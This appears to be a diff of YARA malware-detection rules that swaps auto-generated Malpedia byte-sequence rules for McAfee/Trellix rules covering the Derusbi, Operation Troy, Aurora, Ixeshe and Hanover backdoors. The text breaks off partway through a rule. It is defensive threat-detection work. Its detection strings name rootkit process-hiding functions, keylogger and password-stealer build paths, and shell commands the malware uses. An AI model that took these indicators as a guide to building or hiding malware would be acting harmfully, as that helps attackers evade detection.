-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_076_auto.yar#L1-L134"
-		license_url = "N/A"
-		logic_hash = "afb3d60b25322ebd0dc1ef4a0c20812c54fa6c9c843b7734da080ace48ec2894"
+		description = "Rule to detect the Derusbi ELK Kernel module"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "1614a63d-c5d1-5ce1-a5b8-eb48325f60e6"
+		date = "2017-05-31"
+		modified = "2020-08-14"
+		reference = "https://attack.mitre.org/software/S0021/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Derusbi.yar#L63-L105"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "0b86e96ef616e926f0d665e2bd013f2773461483176c68bd5e7c7d059ac13d78"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:ELF/Derusbi"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 488b5370 488d4520 488bcb 4889442420 e8???????? 8bc8 eb7c }
-		$sequence_1 = { 747b 8d5620 448bce 448bc5 33c9 ff97f8000000 48898748020000 }
-		$sequence_2 = { 488bcf ff9080000000 33d2 33c9 4c63c0 85c0 7e29 }
-		$sequence_3 = { 48894178 488b8f80000000 488b4618 48034f50 48898880000000 488b8f90000000 488b4618 }
-		$sequence_4 = { 458d6502 448bc7 488bce 4489642428 89442420 e8???????? 85c0 }
-		$sequence_5 = { 488d8d40150000 e8???????? 488d1587720000 488d8d14090000 8985d4000000 488d05c3130000 c7853001000000080000 }
-		$sequence_6 = { 4533c9 488bcf 448d420c 48895c2420 e8???????? eb05 bb01000000 }
-		$sequence_7 = { 7f0b 41b907000000 e9???????? 488b83c8000000 488b9360020000 488d8b5c060000 ff90f0070000 }
-		$sequence_8 = { 89442420 e8???????? eb56 83f801 7529 8b8714120000 448b8f10120000 }
-		$sequence_9 = { 415e 415c c3 817d0c08020000 7c05 458bcc eba2 }
+		$s1 = "__this_module"
+		$s2 = "init_module"
+		$s3 = "unhide_pid"
+		$s4 = "is_hidden_pid"
+		$s5 = "clear_hidden_pid"
+		$s6 = "hide_pid"
+		$s7 = "license"
+		$s8 = "description"
+		$s9 = "srcversion="
+		$s10 = "depends="
+		$s11 = "vermagic="
+		$s12 = "current_task"
+		$s13 = "sock_release"
+		$s14 = "module_layout"
+		$s15 = "init_uts_ns"
+		$s16 = "init_net"
+		$s17 = "init_task"
+		$s18 = "filp_open"
+		$s19 = "__netlink_kernel_create"
+		$s20 = "kfree_skb"
 
 	condition:
-		7 of them and filesize <114688
+		( uint32(0)==0x4464c457f) and filesize <200KB and all of them
 }
-rule MALPEDIA_Win_Scranos_Auto : FILE
+rule TRELLIX_ARC_Apt_Nix_Elf_Derusbi_Linux_Sharedmemcreation : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "366bbb3b-fd76-5e48-ad2c-11dfe56c53aa"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scranos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.scranos_auto.yar#L1-L134"
-		license_url = "N/A"
-		logic_hash = "5a9a306a889eeb594e8f9ae05b85780def5b0ff2c4ea6f54823c4b6d5baa27b1"
+		description = "Rule to detect Derusbi Linux Shared Memory creation"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "8d2db62e-22fa-5bbe-ab65-f294fc911b82"
+		date = "2017-05-31"
+		modified = "2020-08-14"
+		reference = "https://attack.mitre.org/software/S0021/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Derusbi.yar#L107-L130"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "095af979728f3b71e3192140306e4aa76011e07a25b20b0c5b3b98db41411714"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:ELF/Derusbi"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { e8???????? 83c404 8b55cc 8d440201 8945cc ebb5 8b4de4 }
-		$sequence_1 = { 8b8e70010000 8d542430 52 8b966c010000 8d442438 50 8d86b0030000 }
-		$sequence_2 = { eb13 8b4608 8b4e04 8b16 50 51 52 }
-		$sequence_3 = { e8???????? 83c428 e9???????? 8b55ec 8b42e4 50 8b4df4 }
-		$sequence_4 = { e8???????? 83c40c 85c0 0f8515070000 8b54241c 52 56 }
-		$sequence_5 = { 89834c010000 7523 8b542410 52 8d442420 50 8d8bc8000000 }
-		$sequence_6 = { 8b4d24 e8???????? 8945a0 8b4da0 894d9c c745fc00000000 8d55ac }
-		$sequence_7 = { 8b55e8 8b849544ffffff 89448d8c 8b4de8 8b948d30ffffff 8b4248 8b4de8 }
-		$sequence_8 = { 8b6c2410 57 8b7d00 8b87840c0000 81c7680c0000 8d4f0c 8944240c }
-		$sequence_9 = { c645fc00 8d4dc8 e8???????? c745fcffffffff 8d4da8 e8???????? 8b4594 }
+		$byte1 = { B6 03 00 00 ?? 40 00 00 00 ?? 0D 5F 01 82 }
 
 	condition:
-		7 of them and filesize <2859008
+		( uint32(0)==0x464C457F) and filesize <200KB and all of them
 }
-rule MALPEDIA_Win_Sphijacker_Auto : FILE
+rule TRELLIX_ARC_Apt_Nix_Elf_Derusbi_Linux_Strings : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "02bebd5c-3234-51fc-b1c7-c2b759df0e10"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sphijacker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sphijacker_auto.yar#L1-L124"
-		license_url = "N/A"
-		logic_hash = "b2eaf40d7ebf7c9c6d61e8db2a040734266a57e7998ddc628afd90d30231d5ef"
+		description = "Rule to detect APT Derusbi Linux Strings"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "09e47580-9b20-5461-943e-32b932c36214"
+		date = "2017-05-31"
+		modified = "2020-08-14"
+		reference = "https://attack.mitre.org/software/S0021/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Derusbi.yar#L132-L173"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "0e95497c44a0c1d85936a6a072063720a771b7e1eb8da2377e54577e3fc2764e"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 68
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:ELF/Derusbi"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 488b0d???????? 488d1d19080200 483bcb 740c }
-		$sequence_1 = { 8b7808 e9???????? 488b55c8 4c8d05cbb10100 }
-		$sequence_2 = { 4c8d056b740100 83e23f 488bcf 48c1f906 488d14d2 498b0cc8 8064d138fd }
-		$sequence_3 = { 7c68 488b4718 488b08 420fb70451 2500800000 7455 488b8360040000 }
-		$sequence_4 = { 488bd1 488bc1 48c1f806 4c8d05e4bd0100 83e23f 488d14d2 498b04c0 }
-		$sequence_5 = { 33d2 f20f100d???????? 41b8ee010000 66898dc8070000 }
-		$sequence_6 = { e8???????? 448ba560010000 8b4c2440 488d15d9e8feff 2b4c2444 41b826000000 894c2440 }
-		$sequence_7 = { c744242804000000 488d1585e10100 41b904000000 4889442420 4533c0 c7451088888888 ff15???????? }
-		$sequence_8 = { ff15???????? 488b4d18 4c8d4520 488d159ee00100 ff15???????? 488b4d20 }
-		$sequence_9 = { 8b4814 c1e90c 4184cd 740e 488b8360040000 4883780800 7419 }
+		$a1 = "loadso" wide ascii fullword
+		$a2 = "\nuname -a\n\n" wide ascii
+		$a3 = "/dev/shm/.x11.id" wide ascii
+		$a4 = "LxMain64" wide ascii nocase
+		$a5 = "# \\u@\\h:\\w \\$ " wide ascii
+		$b1 = "0123456789abcdefghijklmnopqrstuvwxyz" wide
+		$b2 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" wide
+		$b3 = "ret %d" wide fullword
+		$b4 = "uname -a\n\n" wide ascii
+		$b5 = "/proc/%u/cmdline" wide ascii
+		$b6 = "/proc/self/exe" wide ascii
+		$b7 = "cp -a %s %s" wide ascii
+		$c1 = "/dev/pts/4" wide ascii fullword
+		$c2 = "/tmp/1408.log" wide ascii fullword
 
 	condition:
-		7 of them and filesize <808960
+		uint32(0)==0x464C457F and filesize <200KB and ((1 of ($a*) and 4 of ($b*)) or (1 of ($a*) and 1 of ($c*)) or 2 of ($a*) or all of ($b*))
 }
-rule MALPEDIA_Win_Iispy_Auto : FILE
+rule TRELLIX_ARC_Troy_Malware_Campaign_Pdb : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "204a2c38-8895-5ac0-a1fb-2cdf3f008fea"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.iispy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.iispy_auto.yar#L1-L130"
-		license_url = "N/A"
-		logic_hash = "7326802c4105c66879b54e4bc2a70df2a9f75047a51ff2245fe60a57fbe51d36"
+		description = "Rule to detect the Operation Troy based on the PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "c1fc5b9c-104f-5d07-86ee-5a54d9731f04"
+		date = "2013-06-23"
+		modified = "2020-08-14"
+		reference = "https://www.mcafee.com/enterprise/en-us/assets/white-papers/wp-dissecting-operation-troy.pdf"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_operation_troy.yar#L1-L26"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "2ca6b7e9488c1e9f39392e696704ad3f2b82069e35bc8001d620024ebbf2d65a"
+		logic_hash = "a64b4aa082c45d1753ad30ba2f67df0ef5b7658c3c99e031ef747eb4e6c7bb00"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/OperationTroy"
+		actor_type = "Apt"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { ebdc 837b1800 0f85f6000000 3bce 7436 8a01 3c5d }
-		$sequence_1 = { d1e8 03d0 8b5e0c 8b7d08 2bd9 03fb }
-		$sequence_2 = { 85c0 755e f7459c00100000 7503 8b7608 }
-		$sequence_3 = { ff2485887a0010 51 8bcf e8???????? 8b17 8b4210 2b420c }
-		$sequence_4 = { 6a00 ff75e4 c745e800000000 ffd6 85c0 0f856effffff eb0c }
-		$sequence_5 = { 85f6 0f84c1010000 0fb7460e 8bc8 c1e90a f6c101 }
-		$sequence_6 = { 0f1145c8 8b4810 894dc4 b903000000 0f1100 6689480e 8d4dc8 }
-		$sequence_7 = { 8955b4 8d0409 50 6a00 52 e8???????? b800100000 }
-		$sequence_8 = { f6430801 7411 8d5304 8bcf e8???????? 5f 5e }
-		$sequence_9 = { 8b742424 8b7c2420 884c240b 89742410 897c241c e9???????? 3bf8 }
+		$pdb = "\\Work\\Make Troy\\Concealment Troy\\Exe_Concealment_Troy(Winlogon_Shell)\\SetKey_WinlogOn_Shell_Modify\\BD_Installer\\Release\\BD_Installer.pdb"
+		$pdb1 = "\\Work\\Make Troy\\Concealment Troy\\Exe_Concealment_Troy(Winlogon_Shell)\\Dll\\Concealment_Troy(Dll)\\Release\\Concealment_Troy.pdb"
 
 	condition:
-		7 of them and filesize <397312
+		uint16(0)==0x5a4d and filesize <500KB and any of them
 }
-rule MALPEDIA_Win_9002_Auto : FILE
+rule TRELLIX_ARC_Apt_Aurora_Pdb_Samples : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "49e80af5-ef9d-5bf8-b3b9-b7af1f356471"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.9002"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.9002_auto.yar#L1-L290"
-		license_url = "N/A"
-		logic_hash = "9d293b5dc33eac56c2e3f0cda3054624c24835d742e33a63df2c2aa725e52d40"
+		description = "Aurora APT Malware 2006-2010"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "51b080b7-671b-592b-ba52-7fdd0ddf0294"
+		date = "2010-01-11"
+		modified = "2020-08-14"
+		reference = "https://en.wikipedia.org/wiki/Operation_Aurora"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_operation_aurora.yar#L1-L26"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "ce7debbcf1ca3a390083fe5753f231e632017ca041dfa662ad56095a500f2364"
+		logic_hash = "5791ae7b96f2b59d0cca1ab97455bb4745edad8980ac4aff22aa36e0bc4f240e"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Aurora"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 7514 8b4714 8b08 51 e8???????? 8b5714 }
-		$sequence_1 = { 51 8944241c c744241801000000 ff15???????? 3d02010000 }
-		$sequence_2 = { 7504 33ed eb04 2bc8 }
-		$sequence_3 = { 8bd1 2bd0 3bda 7223 }
-		$sequence_4 = { 6a02 ff15???????? 68???????? ff15???????? 6a00 }
-		$sequence_5 = { 8b5c2408 6bdb08 03c3 8b00 }
-		$sequence_6 = { 33c9 3bc8 1bd2 f7da 8915???????? }
-		$sequence_7 = { 03c3 8b00 5b ffd0 8945fc }
-		$sequence_8 = { 51 e8???????? 6a06 6a01 6a02 e8???????? }
-		$sequence_9 = { 8be9 53 50 e8???????? }
-		$sequence_10 = { 7504 33d2 eb05 8b5608 2bd0 3bfa }
-		$sequence_11 = { 682c010000 50 ffd3 3d02010000 7508 }
-		$sequence_12 = { 6a00 6a02 6a03 6a00 e8???????? }
-		$sequence_13 = { 75f6 eb2f 8b542430 8b7c2414 8b6c2430 }
-		$sequence_14 = { 668b3c59 730d 33c9 8a0a }
-		$sequence_15 = { 59 8b0485e0d50010 8d0cf6 8064880400 85ff }
-		$sequence_16 = { 0311 8955fc 837df800 0f86e3000000 8b4508 03450c 2b45f8 }
-		$sequence_17 = { 68???????? 8d4610 50 8d4c2418 51 ff15???????? }
-		$sequence_18 = { 896f2c 8b4748 3bc5 740c 50 }
-		$sequence_19 = { 8d4c240c c644243002 ff15???????? 8bc6 }
-		$sequence_20 = { 6a00 8bd8 51 57 53 }
-		$sequence_21 = { 8b4c242c 5f 89411c 8b442410 895118 8b542434 894124 }
-		$sequence_22 = { 33c4 50 8d442428 64a300000000 8bf1 89742408 68???????? }
-		$sequence_23 = { 8939 89742410 e9???????? 33f6 83ff14 }
-		$sequence_24 = { 0fb74e08 0fafcf 5f 03c1 5e }
-		$sequence_25 = { 031481 52 8b450c 50 }
-		$sequence_26 = { 5d 83c410 c3 8b4508 85c0 7499 }
-		$sequence_27 = { 2bc5 c1ef05 2bcf 2bf5 66898c5a98010000 33c9 }
-		$sequence_28 = { 64a300000000 8b7c2444 8bf1 33db 57 8d4e10 89742414 }
-		$sequence_29 = { 8b742408 57 85f6 742e 0fb74602 8b7c2410 3bf8 }
-		$sequence_30 = { 8b5c2424 3bcb 0f83f6040000 33db }
+		$pdb = "\\AuroraVNC\\VedioDriver\\Release\\VedioDriver.pdb"
+		$pdb1 = "\\Aurora_Src\\AuroraVNC\\Avc\\Release\\AVC.pdb"
 
 	condition:
-		7 of them and filesize <204800
+		uint16(0)==0x5a4d and filesize <150KB and any of them
 }
-rule MALPEDIA_Win_Unidentified_042_Auto : FILE
+rule TRELLIX_ARC_Ixeshe_Bled_Malware_Pdb : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9e093b61-c910-5742-8226-775531f91d9d"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_042"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_042_auto.yar#L1-L132"
-		license_url = "N/A"
-		logic_hash = "7aca5d090ae8281044c7e148c75c276642daf90859ffb2907ade4921d2dec5c9"
+		description = "Rule to detect Ixeshe_bled malware based on PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "93356eab-5bb3-5b85-acc6-9a247554aa2d"
+		date = "2012-05-30"
+		modified = "2020-08-14"
+		reference = "https://attack.mitre.org/software/S0015/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/ixeshe_bled_pdb.yar#L1-L24"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "d1be51ef9a873de85fb566d157b034234377a4a1f24dfaf670e6b94b29f35482"
+		logic_hash = "7d2ce7644e25a56c101c148a32f7b0f7c3185c0c17f4d65eaef257f6ac7f8ffb"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Ixeshe"
+		actor_type = "Apt"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 85c0 754f 6a02 53 56 8d8d9cfeffff 57 }
-		$sequence_1 = { 56 8d8d68e1ffff 51 8d9554f7ffff 52 89b550f7ffff }
-		$sequence_2 = { 5b 85c0 78dd 8b45fc 8b55f8 0fb64c3801 4a }
-		$sequence_3 = { 8b4db8 895640 8b9518fdffff 895620 8b9520fdffff 894e44 8b8d1cfdffff }
-		$sequence_4 = { 8d8580cbffff 50 6a00 ff15???????? 85c0 7527 8b1d???????? }
-		$sequence_5 = { 5e 8bc7 5f 5d c3 8b7514 85f6 }
-		$sequence_6 = { 8bc3 2bc2 8d0c91 2bf0 42 8d3c87 3bf2 }
-		$sequence_7 = { 85db 0f85af000000 8d45ac 8bf0 8d5d9c 50 }
-		$sequence_8 = { 8d4df8 51 8d5df4 e8???????? 83c408 85c0 780d }
-		$sequence_9 = { 52 50 8d4b70 e8???????? 83c408 85c0 0f850b020000 }
+		$pdb = "\\code\\Blade2009.6.30\\Blade2009.6.30\\EdgeEXE_20003OC\\Debug\\EdgeEXE.pdb"
 
 	condition:
-		7 of them and filesize <516096
+		uint16(0)==0x5a4d and filesize <200KB and any of them
 }
-rule MALPEDIA_Win_Moriya_Auto : FILE
+rule TRELLIX_ARC_Apt_Hanover_Pdb : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b9f54a0c-1b70-575c-9b58-fd559fcd85cb"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moriya"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.moriya_auto.yar#L1-L123"
-		license_url = "N/A"
-		logic_hash = "ab28f31770f9afce25a3c5b829bb0d33a4cf408b2c3f7c40efc1893d68c2419a"
+		description = "Rule to detect hanover samples based on PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "e2476ae8-d284-58f5-8bcb-9313a5b4d756"
+		date = "2012-01-05"
+		modified = "2020-08-14"
+		reference = "https://securityaffairs.co/wordpress/14550/cyber-crime/operation-hangover-indian-cyberattack-infrastructure.html"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_hangover.yar#L1-L39"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "a2460412575cdc187dfb69eb2847c5b43156af7f7d94b71422e7f771e8adb51e"
+		logic_hash = "a37d528e4dacddcabe55261f16b51aec626f6180107f154d3ae34cdfa71e2c58"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Hanover"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 8bce ff15???????? 4533c0 488d0dcf260000 33d2 }
-		$sequence_1 = { 488bfa 4c8d051c0d0000 33d2 8d5a4d 8bcb ff15???????? 4c8d05280d0000 }
-		$sequence_2 = { 8b4f10 8d81fffeffff 83f801 7608 81f910010000 7564 ba28000000 }
-		$sequence_3 = { 448d724d 418bce 0f114dc0 0f1145d0 ff15???????? }
-		$sequence_4 = { 4885c0 7509 4c8d05b60f0000 eba3 4c8d05dd0f0000 ff15???????? }
-		$sequence_5 = { ff15???????? 488b8c2498000000 4885c9 7405 e8???????? }
-		$sequence_6 = { ff15???????? 8bc3 488b8c2488000000 4833cc e8???????? 4881c490000000 415f }
-		$sequence_7 = { 33d2 ff15???????? 4883673800 488b0d???????? 4885c9 7467 }
-		$sequence_8 = { 4c8bc3 49ffc0 42803c0000 75f6 488b15???????? }
-		$sequence_9 = { 488b0d???????? 4885c9 7405 e8???????? 8bc7 488b4df0 }
+		$pdb = "\\andrew\\Key\\Release\\Keylogger_32.pdb"
+		$pdb1 = "\\BACK_UP_RELEASE_28_1_13\\General\\KG\\Release\\winsvcr.pdb"
+		$pdb2 = "\\BackUP-Important\\PacketCapAndUpload_Backup\\voipsvcr\\Release\\voipsvcr.pdb"
+		$pdb3 = "\\BNaga\\kaam\\New_FTP_2\\Release\\ftpback.pdb"
+		$pdb4 = "\\DD0\\DD\\u\\Release\\dataup.pdb"
+		$pdb5 = "\\Documents and Settings\\Admin\\Desktop\\Newuploader\\Release\\Newuploader.pdb"
+		$pdb6 = "\\Documents and Settings\\Admin\\Desktop\\Uploader Code\\Release\\Newuploader.pdb"
+		$pdb7 = "\\Documents and Settings\\Administrator\\Desktop\\nn\\Release\\nn.pdb"
+		$pdb8 = "\\smse\\Debug\\smse.pdb"
+		$pdb9 = "\\Users\\admin\\Documents\\Visual Studio 2008\\Projects\\DNLDR-no-ip\\Release\\DNLDR.pdb"
+		$pdb10 = "\\final exe\\check\\Release\\check.pdb"
+		$pdb11 = "\\Projects\\Elance\\AppInSecurityGroup\\FtpBackup\\Release\\Backup.pdb"
+		$pdb12 = "\\projects\\windows\\MailPasswordDecryptor\\Release\\MailPasswordDecryptor.pdb"
+		$pdb13 = "\\final project backup\\UPLODER FTP BASED\\New folder\\Tron 1.2.1(Ftp n Startup)\\Release\\Http_t.pdb"
 
 	condition:
-		7 of them and filesize <58368
+		uint16(0)==0x5a4d and filesize <1000KB and any of them
 }
-rule MALPEDIA_Win_Magic_Rat_Auto : FILE
+rule TRELLIX_ARC_Apt_Hanover_Appinbot_Pdb : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "fef12775-f5d4-5648-9916-cb915f91f28b"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.magic_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.magic_rat_auto.yar#L1-L111"
-		license_url = "N/A"
-		logic_hash = "d23de63f3611a6306ebe3970ddd7285c351120d5c12dbd45ba2d1d594ef068a3"
-		score = 60
-		quality = 45
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		description = "Rule to detect hanover appinbot samples based on PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "fb201000-ca8b-57e0-b560-5082477d8ee7"
+		date = "2012-01-05"
+		modified = "2020-08-14"
+		reference = "https://securityaffairs.co/wordpress/14550/cyber-crime/operation-hangover-indian-cyberattack-infrastructure.html"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_hangover.yar#L41-L77"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "6ad56d64444fa76e1ad43a8c260c493b9086d4116eb18af630e65d3fd39bf6d6"
+		logic_hash = "56cdd22efd81bcdda445242257b2418c6941bf9e5e68065d8b8d73d0f9c27df5"
+		score = 75
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Hanover"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 85c0 7407 3dffff0000 756f }
-		$sequence_1 = { f20f2ac9 f20f5cc1 f20f58c3 f20f2cc0 }
-		$sequence_2 = { 0f84b8000000 83faff 7408 f0830001 }
-		$sequence_3 = { 660f2ec2 7308 660f5705???????? 660f2ee2 f20f59c5 7308 660f5725???????? }
-		$sequence_4 = { 29c2 89d0 c1f80e f7d8 eb08 }
-		$sequence_5 = { 8b01 81e20080ffff 25ff7f0000 09d0 }
